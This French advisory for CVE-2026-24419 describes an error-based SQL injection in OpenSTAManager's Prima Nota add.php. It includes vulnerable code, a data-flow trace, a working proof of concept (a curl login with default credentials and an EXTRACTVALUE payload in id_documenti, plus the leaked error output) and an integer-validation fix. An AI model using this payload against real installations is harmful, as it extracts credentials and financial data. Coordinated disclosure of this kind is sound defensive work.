
CVE-2026-24419 - OpenSTAManager présente une injection SQL dans le module Prima Nota
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-24419 |
| Sévérité | ÉLEVÉE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique d'injection SQL basée sur les erreurs dans le module Prima Nota (journal) d'OpenSTAManager v2.9.8 permet à des attaquants authentifiés d'extraire l'intégralité du contenu de la base de données, y compris les identifiants utilisateur, les données personnelles des clients et les enregistrements financiers, via les messages d'erreur XML, en injectant du SQL malveillant dans les paramètres d'URL.
Statut : ✅ Confirmé et testé sur une instance en production (v2.9.8)
Paramètres vulnérables : id_documenti (paramètres GET)
Point de terminaison concerné : /modules/primanota/add.php
Type d'attaque : injection SQL basée sur les erreurs (clause IN)
OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL basée sur les erreurs dans le fichier add.php du module Prima Nota (journal). L'application ne valide pas que les valeurs séparées par des virgules provenant des paramètres GET sont des entiers avant de les utiliser dans des clauses SQL IN(), ce qui permet aux attaquants d'injecter des commandes SQL arbitraires et d'extraire des données sensibles via les messages d'erreur XPATH.
Chaîne de vulnérabilité :
Point d'entrée : /modules/primanota/add.php (lignes 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Impact : la fonction get() récupère des paramètres d'URL contrôlés par l'utilisateur, explode(',', (string) ...) les sépare par virgule, mais AUCUNE validation ne garantit que les éléments sont des entiers.
Point d'injection SQL : /modules/primanota/add.php (ligne 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Impact : les éléments du tableau $id_documenti sont directement concaténés à l'aide de implode() sans validation de type ni prepare(), ce qui permet une injection SQL complète.
Analyse de la cause racine :
La vulnérabilité existe parce que :
get('id_documenti') renvoie des chaînes contrôlées par l'utilisateurexplode(',', (string) $value) sépare par virgule mais ne valide pas les typesimplode(',', $array) concatène les éléments du tableau directement dans la requête SQL?id_documenti=1) AND EXTRACTVALUE(...) %23Chemin de code affecté :
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
Étape 1 : Connexion
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Étape 2 : Vérifier la vulnérabilité (injection SQL basée sur les erreurs)
Test 1 : Extraire l'utilisateur et la version de la base de données
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Réponse (message d'erreur visible par l'attaquant) :
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Tous les utilisateurs authentifiés ayant accès au module Prima Nota (journal).
Correctif principal - Validation des types :
Fichier : /modules/primanota/add.php
AVANT (Vulnérable - lignes 63-67) :
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
APRÈS (Corrigé) :
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Découvert par Łukasz Rybak
Ce CVE a été divulgué de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.